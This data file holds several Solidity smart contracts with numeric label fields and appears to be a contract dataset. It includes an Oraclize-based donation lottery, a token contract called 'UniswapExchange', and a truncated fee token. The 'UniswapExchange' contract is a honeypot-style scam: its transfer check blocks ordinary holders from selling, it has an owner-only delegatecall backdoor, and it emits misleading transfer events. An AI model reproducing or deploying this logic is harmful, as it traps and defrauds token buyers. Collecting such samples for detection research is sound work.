copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity 0.4.16;
contract owned {
address public owner;
event ContractOwnershipTransferred(address newOwner);
function owned() { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setContractOwner(address newOwner) external onlyOwner {
owner = newOwner;
ContractOwnershipTransferred(newOwner);
}
}
contract Cillionaire is owned, usingOraclize {
enum State { ENDED, DONATE }
uint public constant maxFeePercentage = 10;
uint public constant retainBalance = 0.01 ether;
address public beneficiary;
address[] public donors;
State public state;
uint public startTimestamp;
uint public endTimestamp;
uint public maxDonors;
uint public duration;
uint public donation;
uint public fee;
uint public donationSum;
uint public nextRoundMaxDonors;
uint public nextRoundDuration;
uint public nextRoundDonation;
uint public nextRoundFee;
uint public oraclizeCallbackGas;
event NewRoundStarted(address _beneficiary, uint _startTimestamp, uint _endTimestamp, uint _maxDonors, uint _duration, uint _donation, uint _fee);
event NewDonor(address _donor, uint _donationAfterFee, uint _fee);
event RoundEnded(address _beneficiary, uint _donationSum);
event RandomNumber(uint _randomNumber);
modifier onlyState(State _state) {
require(state == _state);
_;
}
modifier onlyOraclize() {
require(msg.sender == oraclize_cbAddress());
_;
}
function Cillionaire() {
oraclize_setProof(proofType_Ledger);
state = State.ENDED;
oraclizeCallbackGas = 400000;
nextRoundMaxDonors = 1000;
nextRoundDuration = 1800;
nextRoundDonation = 0.01 ether;
nextRoundFee = 0.001 ether;
startRound(owner);
}
function startRound(address _beneficiary) internal onlyState(State.ENDED) {
delete donors;
donationSum = 0;
beneficiary = _beneficiary;
maxDonors = nextRoundMaxDonors;
duration = nextRoundDuration;
donation = nextRoundDonation;
fee = nextRoundFee;
startTimestamp = block.timestamp;
endTimestamp = startTimestamp + duration;
state = State.DONATE;
NewRoundStarted(beneficiary, startTimestamp, endTimestamp, maxDonors, duration, donation, fee);
}
function donate() external payable onlyState(State.DONATE) {
require(msg.value == donation);
uint amountAfterFee = msg.value - fee;
donationSum += amountAfterFee;
donors.push(msg.sender);
NewDonor(msg.sender, amountAfterFee, fee);
if ((block.timestamp >= endTimestamp) || (donors.length >= maxDonors)) {
state = State.ENDED;
RoundEnded(beneficiary, donationSum);
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, oraclizeCallbackGas);
}
beneficiary.transfer(amountAfterFee);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) onlyOraclize onlyState(State.ENDED) oraclize_randomDS_proofVerify(_queryId, _result, _proof) {
uint randomNumber = uint(sha3(_result));
RandomNumber(randomNumber);
address nextBeneficiary = donors[randomNumber % donors.length];
startRound(nextBeneficiary);
}
function startNextRound() external payable onlyOwner onlyState(State.ENDED) {
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, oraclizeCallbackGas);
}
function deposit() external payable onlyOwner {
}
function withdraw() external onlyOwner {
require(this.balance > retainBalance);
uint amount = this.balance - retainBalance;
owner.transfer(amount);
}
function setNextRoundMaxDonors(uint _nextRoundMaxDonors) external onlyOwner {
nextRoundMaxDonors = _nextRoundMaxDonors;
}
function setNextRoundDuration(uint _nextRoundDuration) external onlyOwner {
nextRoundDuration = _nextRoundDuration;
}
function setNextRoundDonation(uint _nextRoundDonation) external onlyOwner {
nextRoundDonation = _nextRoundDonation;
if (nextRoundFee > nextRoundDonation / maxFeePercentage) {
nextRoundFee = nextRoundDonation / maxFeePercentage;
}
}
function setNextRoundFee(uint _nextRoundFee) external onlyOwner {
require(_nextRoundFee <= nextRoundDonation / maxFeePercentage);
nextRoundFee = _nextRoundFee;
}
function setOraclizeCallbackGas(uint _oraclizeCallbackGas) external onlyOwner {
require(_oraclizeCallbackGas > 200000);
oraclizeCallbackGas = _oraclizeCallbackGas;
}
} | 0 | 125 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,296 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IConditional {
function passesTest(address wallet) external view returns (bool);
}
contract HUNTER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public treasuryWallet =
payable(0x2E1e86BA5d3F2Fa3EF425F698572FCbA74585C2e);
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6;
mapping(address => uint256) private _rewardsLastClaim;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = "A Burners Dream";
string private constant _symbol = "CROWN";
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public reflectionFee = 0;
uint256 private _previousReflectFee = reflectionFee;
uint256 public treasuryFee = 4;
uint256 private _previousTreasuryFee = treasuryFee;
uint256 public ethRewardsFee = 0;
uint256 private _previousETHRewardsFee = ethRewardsFee;
uint256 public ethRewardsBalance;
uint256 public buybackFee = 4;
uint256 private _previousBuybackFee = buybackFee;
address public buybackTokenAddress = address(this);
address public buybackReceiver = deadAddress;
uint256 public feeSellMultiplier = 1;
uint256 public feeRate = 2;
uint256 public launchTime;
uint256 public boostRewardsPercent = 50;
address public boostRewardsContract;
address public feeExclusionContract;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
address private constant _uniswapRouterAddress =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private _inSwapAndLiquify;
bool private _isSelling;
bool private _tradingOpen = false;
bool private _isMaxBuyActivated = true;
uint256 public _maxTxAmount = _tTotal.mul(1).div(100);
uint256 public _maxWalletSize = _tTotal.mul(3).div(100);
uint256 public _maximumBuyAmount = _tTotal.mul(1).div(100);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxWalletSizeUpdated(uint256 _maxWalletSize);
event SendETHRewards(address to, uint256 amountETH);
event SendTokenRewards(address to, address token, uint256 amount);
event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_isExcludedFee[treasuryWallet] = true;
}
function openTrading() external onlyOwner {
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
reflectionFee = _previousReflectFee;
buybackFee = _previousBuybackFee;
_tradingOpen = true;
launchTime = block.timestamp;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function MaxTXAmount() external view returns (uint256) {
return _maxTxAmount;
}
function MaxWalletSize() external view returns (uint256) {
return _maxWalletSize;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
